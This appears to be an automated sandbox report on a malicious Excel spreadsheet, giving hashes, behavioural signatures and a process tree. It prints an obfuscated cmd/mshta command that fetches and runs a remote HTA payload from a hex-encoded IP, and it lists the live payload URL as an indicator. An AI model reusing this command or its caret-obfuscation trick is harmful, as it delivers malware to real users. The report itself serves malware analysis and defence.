Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11-11-2024 17:32
Behavioral task
behavioral1
Sample
b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls
Resource
win10v2004-20241007-en
General
-
Target
b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls
-
Size
115KB
-
MD5
50f9aa9802f18f969467d55e3e042a62
-
SHA1
104315697db3add18eefbeb14811782f8134b468
-
SHA256
b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6
-
SHA512
233feffe1c1e524ac29a504e369137fb3d988f36621632508ee086408e9744fc9942eb38d8aaba6fd9c49916698f44bd11daff967bbd271f92033ff573162e75
-
SSDEEP
3072:Me+nBqmKk3hbdlylKsgqopeJBWhZFGkE+cMLxAAImxe53lGvFTQ3IzxgdrvxpU0f:z+nBqmKk3hbdlylKsgqopeJBWhZFVE+m
Malware Config
Extracted
http://185.7.214.7/fer/fe7.html
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2972 3288 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 22 4848 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3288 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3288 EXCEL.EXE 3288 EXCEL.EXE 3288 EXCEL.EXE 3288 EXCEL.EXE 3288 EXCEL.EXE 3288 EXCEL.EXE 3288 EXCEL.EXE 3288 EXCEL.EXE 3288 EXCEL.EXE 3288 EXCEL.EXE 3288 EXCEL.EXE 3288 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3288 wrote to memory of 2972 3288 EXCEL.EXE 85 PID 3288 wrote to memory of 2972 3288 EXCEL.EXE 85 PID 2972 wrote to memory of 4848 2972 cmd.exe 87 PID 2972 wrote to memory of 4848 2972 cmd.exe 87
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Windows\SYSTEM32\cmd.execmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe7.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2972 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe7.html3⤵
- Blocklisted process makes network request
PID:4848
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5535d2b555fa4664e1ddeebcd6815dfa3
SHA15fc5761d7ffffad622b08db3f9ff93add66bfa55
SHA256a914384355c8dc4f2747b92caf4d0496bf7f3642e358f02c09244fd9b43169c0
SHA5122fe1360e4949bf923133f3571213661ea774270c5085b6f4a2bb716aa818a66e53cf75fe55cf5bd8c5ad777ed65144a1b87bdd7fe532fee2c615383168f36359